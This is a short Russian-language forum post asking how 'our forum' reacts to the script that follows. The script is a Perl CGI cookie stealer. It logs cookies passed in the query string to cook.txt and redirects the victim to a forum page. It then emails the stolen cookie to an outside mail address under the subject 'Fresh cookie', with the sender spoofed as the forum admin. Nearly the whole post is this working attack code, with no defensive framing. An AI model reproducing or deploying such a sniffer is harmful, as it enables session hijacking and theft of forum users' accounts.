а как наш форум реагирует на такое?


#!/usr/bin/perl


use CGI qw(:standard);


$cookie=$ENV{QUERY_STRING};

$file="cook.txt";

open (FILE, ">>$file");

print FILE "$cookie\n\n";

close(file);

$query = CGI::new();


print $query->redirect('http://blackdeath.ru/forum/index.php');

$mailprog = '/usr/sbin/sendmail';


$mail='yaruk7@mail.ru';

$target='admin@blackdeath.ru';

open (MAIL, "|$mailprog -t");

print MAIL "Content-Type: text/plain\n";

print MAIL "Subject: Fresh cookie\n";

print MAIL "To: $mail\n";

print MAIL "From: '.$target.'\n\n";

print MAIL "$cookie";

close (MAIL);